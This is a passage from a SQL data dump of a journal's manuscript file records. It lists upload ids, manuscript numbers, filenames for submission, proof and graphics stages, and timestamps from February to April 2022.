21:17:22',1,1,0),(31714,12036,'12036-Manuscript-2022-02-15-3cnd-ap-ame-revised.rar',NULL,'2022-02-15 05:37:36',1,3,0),(31719,12521,'12521-0-Manuscript-2022-02-16.docx',NULL,'2022-02-16 01:14:56',1,1,0),(31720,11932,'11932-655-Manuscript-proof-submission-2022-02-16.rar',NULL,'2022-02-16 04:16:56',1,3,0),(31721,12170,'12170-1203-Manuscript-proof-submission-2022-02-16.rar',NULL,'2022-02-16 09:03:46',1,3,0),(31722,12497,'12497-672-Manuscript-2022-02-16.docx',NULL,'2022-02-16 09:09:40',1,1,0),(31723,12328,'12328-1764-Manuscript-proof-submission-2022-02-16.zip',NULL,'2022-02-16 09:35:13',1,3,0),(31724,12205,'12205-Manuscript-2022-02-16-et18-graphic-completed.pdf',NULL,'2022-02-16 09:59:58',1,3,0),(31725,12229,'12229-Manuscript-2022-02-16-dcqb-graphic-completed.pdf',NULL,'2022-02-16 10:00:18',1,3,0),(31726,12347,'12347-Manuscript-2022-02-16-hyi3-graphic-completed.pdf',NULL,'2022-02-16 10:00:34',1,3,0),(31727,12522,'12522-0-Manuscript-2022-02-17.pdf',NULL,'2022-02-16 22:00:53',1,1,0),(31728,12523,'12523-0-Manuscript-2022-02-17.docx',NULL,'2022-02-16 23:10:29',1,1,0),(31733,12506,'12506-1727-Manuscript-2022-02-17.docx',NULL,'2022-02-17 06:21:11',1,1,0),(31737,12328,'12328-Manuscript-2022-02-17-n8hk-ipjnn-22-12328.rar',NULL,'2022-02-17 11:27:59',1,3,1),(31739,12200,'12200-49-Manuscript-proof-submission-2022-02-18.rar',NULL,'2022-02-18 06:54:39',1,3,0),(31743,11193,'11193-Manuscript-2022-02-19-mckx-ipjnn-21-11193.rar',NULL,'2022-02-19 04:25:47',1,3,1),(31744,12103,'12103-Manuscript-2022-02-19-xnzu-ipjnn-21-12103.rar',NULL,'2022-02-19 04:26:07',1,3,1),(31745,12278,'12278-Manuscript-2022-02-19-mxey-ipjnn-22-12278.rar',NULL,'2022-02-19 04:26:23',1,3,1),(31746,12307,'12307-Manuscript-2022-02-19-8ml9-ipjnn-22-12307.rar',NULL,'2022-02-19 04:26:39',1,3,1),(31747,12328,'12328-Manuscript-2022-02-21-z1uv-graphic-completed.pdf',NULL,'2022-02-21 09:45:29',1,3,0),(31748,12328,'12328-Manuscript-2022-02-21-ubx5.pdf',NULL,'2022-02-21 11:24:32',1,3,1),(31757,12348,'12348-1032-Manuscript-proof-submission-2022-02-22.zip',NULL,'2022-02-22 10:20:20',1,3,0),(31758,11193,'11193-Manuscript-2022-02-22-53ne-graphic-completed.pdf',NULL,'2022-02-22 11:27:03',1,3,0),(31759,12103,'12103-Manuscript-2022-02-22-x0h9-graphic-completed.pdf',NULL,'2022-02-22 11:27:42',1,3,0),(31760,12278,'12278-Manuscript-2022-02-22-m4is-graphic-completed.pdf',NULL,'2022-02-22 11:28:20',1,3,0),(31761,12307,'12307-Manuscript-2022-02-22-1vdi-graphic-completed.pdf',NULL,'2022-02-22 11:28:52',1,3,0),(31762,12278,'12278-Manuscript-2022-02-22-gbu1.pdf',NULL,'2022-02-22 12:13:36',1,3,1),(31763,11193,'11193-Manuscript-2022-02-22-5cvn.pdf',NULL,'2022-02-22 12:14:39',1,3,0),(31764,12103,'12103-Manuscript-2022-02-22-rneu.pdf',NULL,'2022-02-22 12:14:58',1,3,0),(31765,12307,'12307-Manuscript-2022-02-22-tjk5.pdf',NULL,'2022-02-22 12:15:23',1,3,0),(31767,12530,'12530-0-Manuscript-2022-02-23.pdf',NULL,'2022-02-22 20:50:45',1,1,0),(31768,12348,'12348-Manuscript-2022-02-23-8vtu-ipjnn-22-12348.rar',NULL,'2022-02-23 04:31:45',1,3,1),(31769,11193,'11193-Manuscript-2022-02-23-4u2f-ap-ame-revised.pdf',NULL,'2022-02-23 05:10:25',1,3,0),(31770,12103,'12103-Manuscript-2022-02-23-t8r1-ap-ame-revised.pdf',NULL,'2022-02-23 05:11:35',1,3,0),(31771,12307,'12307-Manuscript-2022-02-23-2uoj-ap-ame-revised.pdf',NULL,'2022-02-23 05:12:43',1,3,0),(31772,11599,'11599-21-Manuscript-proof-submission-2022-02-23.zip',NULL,'2022-02-23 05:51:42',1,3,0),(31773,11599,'11599-1976-Manuscript-proof-submission-2022-02-23.zip',NULL,'2022-02-23 05:51:45',1,3,0),(31774,11963,'11963-1038-Manuscript-proof-submission-2022-02-23.docx',NULL,'2022-02-23 05:53:00',1,3,0),(31775,11193,'11193-Manuscript-2022-02-23-eo5a.pdf',NULL,'2022-02-23 06:03:24',1,3,1),(31776,12103,'12103-Manuscript-2022-02-23-wnkp.pdf',NULL,'2022-02-23 06:03:42',1,3,1),(31777,12307,'12307-Manuscript-2022-02-23-dk1l.pdf',NULL,'2022-02-23 06:03:56',1,3,1),(31792,12394,'12394-1065-Manuscript-proof-submission-2022-02-24.zip',NULL,'2022-02-24 06:31:56',1,3,0),(31793,12405,'12405-1934-Manuscript-proof-submission-2022-02-24.rar',NULL,'2022-02-24 06:32:25',1,3,0),(31794,12394,'12394-Manuscript-2022-02-24-ik7e-ipjnn-22-12394.rar',NULL,'2022-02-24 09:27:18',1,3,1),(31819,12405,'12405-Manuscript-2022-02-25-r5p0-iphsj-22-12405.rar',NULL,'2022-02-25 06:35:39',1,3,0),(31820,12170,'12170-Manuscript-2022-02-25-5iam-iphsj-21-12170.rar',NULL,'2022-02-25 06:50:01',1,3,0),(31821,12170,'12170-Manuscript-2022-02-25-mgax-iphsj-21-12170.rar',NULL,'2022-02-25 06:55:11',1,3,0),(31822,12170,'12170-Manuscript-2022-02-25-ge4s-iphsj-21-12170.rar',NULL,'2022-02-25 08:32:46',1,3,0),(31826,12200,'12200-Manuscript-2022-02-25-xl9j-iphsj-21-12200.rar',NULL,'2022-02-25 08:54:02',1,3,0),(31827,11932,'11932-Manuscript-2022-02-25-9g6b-iphsj-21-11932.rar',NULL,'2022-02-25 09:02:34',1,3,1),(31828,12548,'12548-0-Manuscript-2022-02-25.doc',NULL,'2022-02-25 11:38:40',1,1,0),(31832,12394,'12394-Manuscript-2022-02-26-lrpu-graphic-completed.pdf',NULL,'2022-02-26 07:44:38',1,3,0),(31833,11932,'11932-Manuscript-2022-02-26-oyvq-graphic-completed.pdf',NULL,'2022-02-26 07:50:53',1,3,1),(31834,12170,'12170-Manuscript-2022-02-26-ef20-graphic-completed.pdf',NULL,'2022-02-26 07:51:06',1,3,0),(31835,12200,'12200-Manuscript-2022-02-26-patm-graphic-completed.pdf',NULL,'2022-02-26 07:51:17',1,3,0),(31836,12405,'12405-Manuscript-2022-02-26-dgwl-graphic-completed.pdf',NULL,'2022-02-26 07:51:28',1,3,0),(31842,12554,'12554-0-Manuscript-2022-02-28.docx',NULL,'2022-02-27 19:53:23',1,1,0),(31843,12554,'12554-1-Manuscript-2022-02-28.docx',NULL,'2022-02-27 19:53:23',1,1,0),(31844,12394,'12394-Manuscript-2022-02-28-us1p.pdf',NULL,'2022-02-28 05:52:44',1,3,1),(31848,12348,'12348-Manuscript-2022-02-28-xin1-graphic-completed.pdf',NULL,'2022-02-28 12:09:11',1,3,0),(31849,12348,'12348-Manuscript-2022-03-01-palq.pdf',NULL,'2022-03-01 04:37:56',1,3,1),(31855,12562,'12562-0-Manuscript-2022-03-01.docx',NULL,'2022-03-01 14:26:15',1,1,0),(31856,12565,'12565-0-Manuscript-2022-03-02.docx',NULL,'2022-03-02 02:09:57',1,1,0),(31872,12080,'12080-Manuscript-2022-03-02-zri6-move-pdf-making.docx',NULL,'2022-03-02 06:04:01',1,3,0),(31873,12080,'12080-Manuscript-2022-03-02-2wle-rsuite-completed.pdf',NULL,'2022-03-02 06:09:58',1,3,0),(31874,12429,'12429-1796-Manuscript-proof-submission-2022-03-02.docx',NULL,'2022-03-02 06:11:06',1,3,0),(31877,12429,'12429-Manuscript-2022-03-02-ygkj-move-pdf-making.docx',NULL,'2022-03-02 09:07:35',1,3,0),(31878,12570,'12570-0-Manuscript-2022-03-02.docx',NULL,'2022-03-02 09:12:36',1,1,0),(31879,12570,'12570-1-Manuscript-2022-03-02.docx',NULL,'2022-03-02 09:12:36',1,1,0),(31880,12429,'12429-Manuscript-2022-03-02-zg5h-rsuite-completed.pdf',NULL,'2022-03-02 09:30:59',1,3,0),(31881,12284,'12284-619-Manuscript-proof-submission-2022-03-02.rar',NULL,'2022-03-02 10:01:47',1,3,0),(31882,12284,'12284-Manuscript-2022-03-02-racd-iphsj-22-12284.rar',NULL,'2022-03-02 10:26:38',1,3,0),(31883,12284,'12284-Manuscript-2022-03-02-8vw1-iphsj-22-12284.rar',NULL,'2022-03-02 10:27:35',1,3,0),(31884,12571,'12571-0-Manuscript-2022-03-03.pdf',NULL,'2022-03-03 01:00:02',1,1,0),(31885,12572,'12572-0-Manuscript-2022-03-03.docx',NULL,'2022-03-03 01:40:54',1,1,0),(31886,12491,'12491-1118-Manuscript-proof-submission-2022-03-03.zip',NULL,'2022-03-03 04:54:34',1,3,0),(31887,12284,'12284-Manuscript-2022-03-03-wp9b-graphic-completed.pdf',NULL,'2022-03-03 05:38:31',1,3,0),(31889,12036,'12036-Manuscript-2022-03-03-75fj-iphsj-21-12036.rar',NULL,'2022-03-03 06:19:11',1,3,0),(31896,12573,'12573-0-Manuscript-2022-03-03.docx',NULL,'2022-03-03 10:21:22',1,1,0),(31900,12577,'12577-0-Manuscript-2022-03-04.docx',NULL,'2022-03-04 04:23:11',1,1,0),(31901,12013,'12013-71-Manuscript-proof-submission-2022-03-04.docx',NULL,'2022-03-04 04:34:40',1,3,0),(31902,12013,'12013-1907-Manuscript-proof-submission-2022-03-04.docx',NULL,'2022-03-04 04:34:40',1,3,0),(31903,12013,'12013-271-Manuscript-proof-submission-2022-03-04.docx',NULL,'2022-03-04 04:34:40',1,3,0),(31909,12579,'12579-0-Manuscript-2022-03-04.docx',NULL,'2022-03-04 10:06:26',1,1,0),(31910,12036,'12036-Manuscript-2022-03-04-uxm1-graphic-completed.pdf',NULL,'2022-03-04 10:46:30',1,3,0),(31911,12491,'12491-Manuscript-2022-03-04-0atj-ipjnn-22-12491.rar',NULL,'2022-03-04 11:25:03',1,3,1),(31912,12491,'12491-Manuscript-2022-03-04-1y73-graphic-completed.pdf',NULL,'2022-03-04 12:18:21',1,3,0),(31914,12581,'12581-0-Manuscript-2022-03-05.docx',NULL,'2022-03-05 01:50:58',1,1,0),(31915,12582,'12582-0-Manuscript-2022-03-05.docx',NULL,'2022-03-05 02:00:11',1,1,0),(31921,12491,'12491-Manuscript-2022-03-05-dp1q.pdf',NULL,'2022-03-05 06:41:46',1,3,1),(31936,12493,'12493-836-Manuscript-proof-submission-2022-03-07.zip',NULL,'2022-03-07 05:12:03',1,3,0),(31937,12493,'12493-1275-Manuscript-proof-submission-2022-03-07.zip',NULL,'2022-03-07 05:12:05',1,3,0),(31973,12493,'12493-Manuscript-2022-03-07-rizf-ipjnn-22-12493.rar',NULL,'2022-03-07 10:02:42',1,3,1),(31979,12493,'12493-Manuscript-2022-03-07-dz3f-graphic-completed.pdf',NULL,'2022-03-07 12:35:53',1,3,0),(31995,12493,'12493-Manuscript-2022-03-09-0x31.pdf',NULL,'2022-03-09 08:55:07',1,3,1),(31997,12419,'12419-Manuscript-2022-03-09-i9md-ipaom-22-12419.docx',NULL,'2022-03-09 16:01:38',1,3,0),(31998,12419,'12419-Manuscript-2022-03-09-zan4-ipaom-22-12419.docx',NULL,'2022-03-09 16:01:38',1,3,0),(31999,12422,'12422-Manuscript-2022-03-09-hz59-ipaom-22-12422.docx',NULL,'2022-03-09 16:01:48',1,3,0),(32000,12424,'12424-Manuscript-2022-03-09-3bdq-ipaom-22-12424.docx',NULL,'2022-03-09 16:01:59',1,3,0),(32001,12497,'12497-184-Manuscript-proof-submission-2022-03-09.rar',NULL,'2022-03-09 16:54:31',1,3,0),(32002,12497,'12497-Manuscript-2022-03-10-dmwv-ap-team-revised.rar',NULL,'2022-03-10 10:26:00',1,3,0),(32003,12521,'12521-1065-Manuscript-proof-submission-2022-03-10.rar',NULL,'2022-03-10 15:31:25',1,3,0),(32004,12419,'12419-Manuscript-2022-03-10-8j4t-graphic-completed.pdf',NULL,'2022-03-10 16:44:48',1,3,0),(32005,12422,'12422-Manuscript-2022-03-10-o13r-graphic-completed.pdf',NULL,'2022-03-10 16:49:56',1,3,0),(32006,12650,'12650-0-Manuscript-2022-03-10.docx',NULL,'2022-03-10 16:50:56',1,1,0),(32007,12651,'12651-0-Manuscript-2022-03-10.docx',NULL,'2022-03-10 17:03:33',1,1,0),(32008,12424,'12424-Manuscript-2022-03-10-c0lq-graphic-completed.pdf',NULL,'2022-03-10 17:07:19',1,3,0),(32009,12652,'12652-0-Manuscript-2022-03-10.docx',NULL,'2022-03-10 17:17:25',1,1,0),(32010,12653,'12653-0-Manuscript-2022-03-10.docx',NULL,'2022-03-10 17:19:56',1,1,0),(32011,12654,'12654-0-Manuscript-2022-03-10.docx',NULL,'2022-03-10 17:25:46',1,1,0),(32012,12497,'12497-Manuscript-2022-03-10-k58p-graphic-completed.pdf',NULL,'2022-03-10 18:36:12',1,3,0),(32014,12656,'12656-0-Manuscript-2022-03-11.docx',NULL,'2022-03-11 09:13:23',1,1,0),(32015,12657,'12657-0-Manuscript-2022-03-11.docx',NULL,'2022-03-11 09:54:10',1,1,0),(32016,12658,'12658-0-Manuscript-2022-03-11.docx',NULL,'2022-03-11 10:27:17',1,1,0),(32017,12659,'12659-0-Manuscript-2022-03-11.docx',NULL,'2022-03-11 10:48:59',1,1,0),(32018,12660,'12660-0-Manuscript-2022-03-11.docx',NULL,'2022-03-11 10:57:07',1,1,0),(32019,12661,'12661-0-Manuscript-2022-03-11.docx',NULL,'2022-03-11 11:10:55',1,1,0),(32020,12419,'12419-Manuscript-2022-03-11-gft0.pdf',NULL,'2022-03-11 11:32:21',1,3,0),(32021,12422,'12422-Manuscript-2022-03-11-wkfl.pdf',NULL,'2022-03-11 11:32:35',1,3,0),(32022,12424,'12424-Manuscript-2022-03-11-re4l.pdf',NULL,'2022-03-11 11:32:48',1,3,0),(32023,12651,'12651-232-Manuscript-proof-submission-2022-03-11.docx',NULL,'2022-03-11 13:17:50',1,3,0),(32024,12652,'12652-1074-Manuscript-proof-submission-2022-03-11.docx',NULL,'2022-03-11 13:23:36',1,3,0),(32025,12653,'12653-908-Manuscript-proof-submission-2022-03-11.docx',NULL,'2022-03-11 13:36:42',1,3,0),(32026,12654,'12654-1897-Manuscript-proof-submission-2022-03-11.docx',NULL,'2022-03-11 13:42:45',1,3,0),(32027,12651,'12651-Manuscript-2022-03-11-e7m0-ap-team-revised.docx',NULL,'2022-03-11 15:44:59',1,3,0),(32028,12652,'12652-Manuscript-2022-03-11-cgzp-ap-team-revised.docx',NULL,'2022-03-11 15:45:10',1,3,0),(32029,12653,'12653-Manuscript-2022-03-11-n7z2-ap-team-revised.docx',NULL,'2022-03-11 15:45:22',1,3,0),(32030,12654,'12654-Manuscript-2022-03-11-xbs9-ap-team-revised.docx',NULL,'2022-03-11 15:45:34',1,3,0),(32031,12662,'12662-0-Manuscript-2022-03-11.docx',NULL,'2022-03-11 16:48:56',1,1,0),(32032,12650,'12650-41-Manuscript-proof-submission-2022-03-11.docx',NULL,'2022-03-11 17:54:43',1,3,0),(32033,12663,'12663-0-Manuscript-2022-03-11.docx',NULL,'2022-03-11 23:08:35',1,1,0),(32034,12664,'12664-0-Manuscript-2022-03-12.docx',NULL,'2022-03-12 07:56:29',1,1,0),(32035,12665,'12665-0-Manuscript-2022-03-12.docx',NULL,'2022-03-12 09:03:17',1,1,0),(32036,12650,'12650-Manuscript-2022-03-14-n46q-ap-team-revised.docx',NULL,'2022-03-14 09:55:55',1,3,0),(32037,12397,'12397-1447-Manuscript-proof-submission-2022-03-14.docx',NULL,'2022-03-14 14:25:00',1,3,0),(32038,12650,'12650-Manuscript-2022-03-14-i4oe-graphic-completed.pdf',NULL,'2022-03-14 15:19:07',1,3,0),(32039,12651,'12651-Manuscript-2022-03-14-y40m-graphic-completed.pdf',NULL,'2022-03-14 15:21:08',1,3,0),(32040,12652,'12652-Manuscript-2022-03-14-0h2j-graphic-completed.pdf',NULL,'2022-03-14 15:21:56',1,3,0),(32041,12653,'12653-Manuscript-2022-03-14-wmen-graphic-completed.pdf',NULL,'2022-03-14 15:23:04',1,3,0),(32042,12654,'12654-Manuscript-2022-03-14-y2tf-graphic-completed.pdf',NULL,'2022-03-14 15:23:43',1,3,0),(32043,12666,'12666-0-Manuscript-2022-03-14.pdf',NULL,'2022-03-14 17:16:01',1,1,0),(32044,12666,'12666-1-Manuscript-2022-03-14.jpg',NULL,'2022-03-14 17:16:01',1,1,0),(32045,12666,'12666-2-Manuscript-2022-03-14.jpg',NULL,'2022-03-14 17:16:01',1,1,0),(32046,12652,'12652-Manuscript-2022-03-14-q8en.pdf',NULL,'2022-03-14 17:52:18',1,3,0),(32047,12653,'12653-Manuscript-2022-03-14-v325.pdf',NULL,'2022-03-14 17:52:33',1,3,0),(32048,12654,'12654-Manuscript-2022-03-14-del4.pdf',NULL,'2022-03-14 17:52:48',1,3,0),(32049,12650,'12650-Manuscript-2022-03-14-c9rv.pdf',NULL,'2022-03-14 17:53:02',1,3,0),(32050,12651,'12651-Manuscript-2022-03-14-cqwe.pdf',NULL,'2022-03-14 17:54:30',1,3,0),(32051,12397,'12397-Manuscript-2022-03-15-9s3d-ap-team-revised.docx',NULL,'2022-03-15 10:36:25',1,3,0),(32052,12667,'12667-0-Manuscript-2022-03-15.docx',NULL,'2022-03-15 11:55:34',1,1,0),(32053,12397,'12397-Manuscript-2022-03-15-n1l5-graphic-completed.pdf',NULL,'2022-03-15 12:12:31',1,3,0),(32054,12397,'12397-Manuscript-2022-03-15-yfvc.pdf',NULL,'2022-03-15 16:41:06',1,3,1),(32055,12668,'12668-0-Manuscript-2022-03-15.docx',NULL,'2022-03-15 22:51:17',1,1,0),(32056,12668,'12668-1-Manuscript-2022-03-15.jpg',NULL,'2022-03-15 22:51:17',1,1,0),(32057,12669,'12669-0-Manuscript-2022-03-16.docx',NULL,'2022-03-16 22:49:43',1,1,0),(32058,12572,'12572-669-Manuscript-proof-submission-2022-03-17.rar',NULL,'2022-03-17 09:56:37',1,3,0),(32059,12521,'12521-Manuscript-2022-03-17-lijx-ap-team-revised.rar',NULL,'2022-03-17 14:38:28',1,3,0),(32060,12572,'12572-Manuscript-2022-03-17-e9g7-ap-team-revised.rar',NULL,'2022-03-17 14:39:17',1,3,0),(32061,12521,'12521-Manuscript-2022-03-17-1m0j-move-pdf-making.rar',NULL,'2022-03-17 16:49:13',1,3,0),(32062,12572,'12572-Manuscript-2022-03-17-7dy0-move-pdf-making.rar',NULL,'2022-03-17 16:51:32',1,3,0),(32063,12670,'12670-0-Manuscript-2022-03-17.docx',NULL,'2022-03-17 19:08:17',1,1,0),(32064,12671,'12671-0-Manuscript-2022-03-19.docx',NULL,'2022-03-19 23:30:09',1,1,0),(32065,12582,'12582-128-Manuscript-proof-submission-2022-03-21.rar',NULL,'2022-03-21 10:28:30',1,3,0),(32066,12672,'12672-0-Manuscript-2022-03-21.docx',NULL,'2022-03-21 11:39:08',1,1,0),(32067,12673,'12673-0-Manuscript-2022-03-21.docx',NULL,'2022-03-21 14:37:51',1,1,0),(32068,12521,'12521-Manuscript-2022-03-21-sxg2-graphic-completed.pdf',NULL,'2022-03-21 15:38:20',1,3,0),(32069,12572,'12572-Manuscript-2022-03-21-frth-graphic-completed.pdf',NULL,'2022-03-21 15:39:01',1,3,0),(32070,12674,'12674-0-Manuscript-2022-03-21.docx',NULL,'2022-03-21 16:26:53',1,1,0),(32071,12675,'12675-0-Manuscript-2022-03-21.docx',NULL,'2022-03-21 16:33:35',1,1,0),(32072,12676,'12676-0-Manuscript-2022-03-22.docx',NULL,'2022-03-22 11:33:14',1,1,0),(32077,12680,'12680-0-Manuscript-2022-03-22.docx',NULL,'2022-03-22 21:19:50',1,1,0),(32078,12680,'12680-1-Manuscript-2022-03-22.docx',NULL,'2022-03-22 21:19:50',1,1,0),(32079,12680,'12680-2-Manuscript-2022-03-22.pdf',NULL,'2022-03-22 21:19:50',1,1,0),(32080,12680,'12680-3-Manuscript-2022-03-22.docx',NULL,'2022-03-22 21:19:50',1,1,0),(32081,12681,'12681-0-Manuscript-2022-03-23.docx',NULL,'2022-03-23 17:28:44',1,1,0),(32083,12683,'12683-0-Manuscript-2022-03-24.docx',NULL,'2022-03-24 09:49:55',1,1,0),(32084,12684,'12684-0-Manuscript-2022-03-24.docx',NULL,'2022-03-24 10:01:48',1,1,0),(32085,12685,'12685-0-Manuscript-2022-03-24.docx',NULL,'2022-03-24 10:50:00',1,1,0),(32086,12686,'12686-0-Manuscript-2022-03-24.docx',NULL,'2022-03-24 10:56:55',1,1,0),(32088,12518,'12518-1140-Manuscript-proof-submission-2022-03-24.zip',NULL,'2022-03-24 14:53:35',1,3,0),(32089,12688,'12688-0-Manuscript-2022-03-25.pdf',NULL,'2022-03-25 00:18:28',1,1,0),(32090,12656,'12656-1461-Manuscript-proof-submission-2022-03-25.rar',NULL,'2022-03-25 09:47:16',1,3,0),(32091,12658,'12658-1563-Manuscript-proof-submission-2022-03-25.rar',NULL,'2022-03-25 09:51:09',1,3,0),(32092,12657,'12657-1980-Manuscript-proof-submission-2022-03-25.rar',NULL,'2022-03-25 09:53:56',1,3,0),(32093,12518,'12518-Manuscript-2022-03-25-yef2-ap-team-revised.rar',NULL,'2022-03-25 09:58:00',1,3,0),(32094,12518,'12518-Manuscript-2022-03-25-n6cl-graphic-completed.pdf',NULL,'2022-03-25 12:43:17',1,3,0),(32095,12654,'12654-1588-Manuscript-proof-submission-2022-03-25.docx',NULL,'2022-03-25 13:34:02',1,3,0),(32096,12656,'12656-Manuscript-2022-03-25-2h07-ap-team-revised.rar',NULL,'2022-03-25 16:52:07',1,3,0),(32097,12657,'12657-Manuscript-2022-03-25-fa1c-ap-team-revised.rar',NULL,'2022-03-25 16:53:03',1,3,0),(32098,12658,'12658-Manuscript-2022-03-25-u7kc-ap-team-revised.rar',NULL,'2022-03-25 16:54:08',1,3,0),(32099,12582,'12582-Manuscript-2022-03-25-4que-ap-team-revised.rar',NULL,'2022-03-25 17:21:41',1,3,0),(32100,12659,'12659-1545-Manuscript-proof-submission-2022-03-25.rar',NULL,'2022-03-25 17:21:55',1,3,0),(32101,12582,'12582-Manuscript-2022-03-25-9xv1-ap-team-revised.rar',NULL,'2022-03-25 17:24:39',1,3,0),(32104,12518,'12518-Manuscript-2022-03-26-ap2t.pdf',NULL,'2022-03-26 11:50:10',1,3,0),(32105,12691,'12691-0-Manuscript-2022-03-27.docx',NULL,'2022-03-27 01:20:20',1,1,0),(32106,12692,'12692-0-Manuscript-2022-03-28.docx',NULL,'2022-03-28 11:23:37',1,1,0),(32107,12660,'12660-904-Manuscript-proof-submission-2022-03-28.rar',NULL,'2022-03-28 13:54:17',1,3,0),(32108,9640,'9640-737-Manuscript-proof-submission-2022-03-28.rar',NULL,'2022-03-28 15:50:25',1,3,0),(32109,10147,'10147-1413-Manuscript-proof-submission-2022-03-28.zip',NULL,'2022-03-28 15:56:08',1,3,0),(32110,10178,'10178-968-Manuscript-proof-submission-2022-03-28.rar',NULL,'2022-03-28 17:38:07',1,3,0),(32111,12522,'12522-1743-Manuscript-proof-submission-2022-03-28.zip',NULL,'2022-03-28 18:03:43',1,3,0),(32112,12693,'12693-0-Manuscript-2022-03-28.docx',NULL,'2022-03-28 23:46:35',1,1,0),(32113,10275,'10275-364-Manuscript-proof-submission-2022-03-29.docx',NULL,'2022-03-29 10:03:04',1,3,0),(32114,10275,'10275-1697-Manuscript-proof-submission-2022-03-29.docx',NULL,'2022-03-29 10:03:05',1,3,0),(32115,12694,'12694-0-Manuscript-2022-03-29.docx',NULL,'2022-03-29 13:52:24',1,1,0),(32116,12522,'12522-Manuscript-2022-03-29-e50i-ap-team-revised.rar',NULL,'2022-03-29 14:04:53',1,3,0),(32117,12518,'12518-Manuscript-2022-03-29-9viw-ap-ame-revised.pdf',NULL,'2022-03-29 14:17:15',1,3,0),(32118,9640,'9640-Manuscript-2022-03-29-iv1s-ipadm-21-9640.zip',NULL,'2022-03-29 16:52:15',1,3,0),(32119,10147,'10147-Manuscript-2022-03-29-r1jy-ipadm-21-10147.zip',NULL,'2022-03-29 16:52:49',1,3,0),(32120,10178,'10178-Manuscript-2022-03-29-1xz3-ipadm-21-10178.zip',NULL,'2022-03-29 16:53:20',1,3,0),(32121,10275,'10275-Manuscript-2022-03-29-q2hw-ipadm-21-10275.zip',NULL,'2022-03-29 16:53:54',1,3,0),(32122,12695,'12695-0-Manuscript-2022-03-29.docx',NULL,'2022-03-29 16:57:56',1,1,0),(32123,12518,'12518-Manuscript-2022-03-29-42fi.pdf',NULL,'2022-03-29 17:12:44',1,3,0),(32124,9640,'9640-Manuscript-2022-03-29-dfh5-graphic-completed.pdf',NULL,'2022-03-29 17:38:28',1,3,0),(32125,10147,'10147-Manuscript-2022-03-29-c9rm-graphic-completed.pdf',NULL,'2022-03-29 17:39:21',1,3,0),(32126,10178,'10178-Manuscript-2022-03-29-klt6-graphic-completed.pdf',NULL,'2022-03-29 17:39:51',1,3,0),(32127,10275,'10275-Manuscript-2022-03-29-ktom-graphic-completed.pdf',NULL,'2022-03-29 17:42:36',1,3,0),(32128,12661,'12661-1043-Manuscript-proof-submission-2022-03-29.rar',NULL,'2022-03-29 17:46:11',1,3,0),(32130,12697,'12697-0-Manuscript-2022-03-30.docx',NULL,'2022-03-30 02:02:28',1,1,0),(32131,12664,'12664-952-Manuscript-proof-submission-2022-03-30.rar',NULL,'2022-03-30 10:48:30',1,3,0),(32132,12698,'12698-0-Manuscript-2022-03-30.doc',NULL,'2022-03-30 12:31:20',1,1,0),(32133,11313,'11313-Manuscript-2022-03-30-wpxt-ipadm-21-11313.zip',NULL,'2022-03-30 13:59:57',1,3,1),(32134,12582,'12582-Manuscript-2022-03-30-n37u-graphic-completed.pdf',NULL,'2022-03-30 15:32:17',1,3,0),(32135,12656,'12656-Manuscript-2022-03-30-gmlc-graphic-completed.pdf',NULL,'2022-03-30 15:32:44',1,3,0),(32136,12657,'12657-Manuscript-2022-03-30-m5ja-graphic-completed.pdf',NULL,'2022-03-30 15:32:56',1,3,0),(32137,12658,'12658-Manuscript-2022-03-30-ibmu-graphic-completed.pdf',NULL,'2022-03-30 15:33:12',1,3,0),(32138,11313,'11313-Manuscript-2022-03-30-zp4e-graphic-completed.pdf',NULL,'2022-03-30 18:26:51',1,3,1),(32139,12699,'12699-0-Manuscript-2022-03-30.docx',NULL,'2022-03-30 19:27:13',1,1,0),(32140,12699,'12699-1-Manuscript-2022-03-30.docx',NULL,'2022-03-30 19:27:13',1,1,0),(32141,12699,'12699-2-Manuscript-2022-03-30.docx',NULL,'2022-03-30 19:27:13',1,1,0),(32142,12699,'12699-3-Manuscript-2022-03-30.docx',NULL,'2022-03-30 19:27:13',1,1,0),(32143,12699,'12699-4-Manuscript-2022-03-30.jpg',NULL,'2022-03-30 19:27:13',1,1,0),(32144,12699,'12699-5-Manuscript-2022-03-30.jpg',NULL,'2022-03-30 19:27:13',1,1,0),(32145,12699,'12699-6-Manuscript-2022-03-30.pdf',NULL,'2022-03-30 19:27:13',1,1,0),(32146,12699,'12699-7-Manuscript-2022-03-30.doc',NULL,'2022-03-30 19:27:13',1,1,0),(32147,12659,'12659-Manuscript-2022-03-31-m08a-ap-team-revised.rar',NULL,'2022-03-31 12:58:01',1,3,0),(32148,12660,'12660-Manuscript-2022-03-31-0efw-ap-team-revised.rar',NULL,'2022-03-31 12:58:41',1,3,0),(32149,12661,'12661-Manuscript-2022-03-31-u9hi-ap-team-revised.rar',NULL,'2022-03-31 12:59:17',1,3,0),(32150,12664,'12664-Manuscript-2022-03-31-mivl-ap-team-revised.rar',NULL,'2022-03-31 12:59:51',1,3,0),(32151,12665,'12665-170-Manuscript-proof-submission-2022-03-31.rar',NULL,'2022-03-31 17:44:36',1,3,0),(32154,12670,'12670-1662-Manuscript-2022-04-04.docx',NULL,'2022-04-04 09:35:25',1,1,0),(32155,12670,'12670-1774-Manuscript-2022-04-04.docx',NULL,'2022-04-04 09:36:09',1,1,0),(32156,12703,'12703-0-Manuscript-2022-04-04.docx',NULL,'2022-04-04 12:08:09',1,1,0),(32159,12665,'12665-Manuscript-2022-04-05-rgp3-ap-team-revised.rar',NULL,'2022-04-05 13:18:51',1,3,0),(32160,12659,'12659-Manuscript-2022-04-05-bzay-graphic-completed.pdf',NULL,'2022-04-05 14:02:17',1,3,0),(32161,12660,'12660-Manuscript-2022-04-05-hvej-graphic-completed.pdf',NULL,'2022-04-05 14:02:31',1,3,0),(32162,12661,'12661-Manuscript-2022-04-05-290a-graphic-completed.pdf',NULL,'2022-04-05 14:02:43',1,3,0),(32163,12664,'12664-Manuscript-2022-04-05-zbfx-graphic-completed.pdf',NULL,'2022-04-05 14:03:22',1,3,0),(32164,12665,'12665-Manuscript-2022-04-05-m9js-graphic-completed.pdf',NULL,'2022-04-05 14:55:19',1,3,0),(32165,12522,'12522-Manuscript-2022-04-05-nzmu-graphic-completed.pdf',NULL,'2022-04-05 16:54:06',1,3,0),(32166,12706,'12706-0-Manuscript-2022-04-06.docx',NULL,'2022-04-06 10:05:47',1,1,0),(32167,12707,'12707-0-Manuscript-2022-04-06.docx',NULL,'2022-04-06 10:08:10',1,1,0),(32168,12708,'12708-0-Manuscript-2022-04-06.docx',NULL,'2022-04-06 10:10:30',1,1,0),(32169,12709,'12709-0-Manuscript-2022-04-06.docx',NULL,'2022-04-06 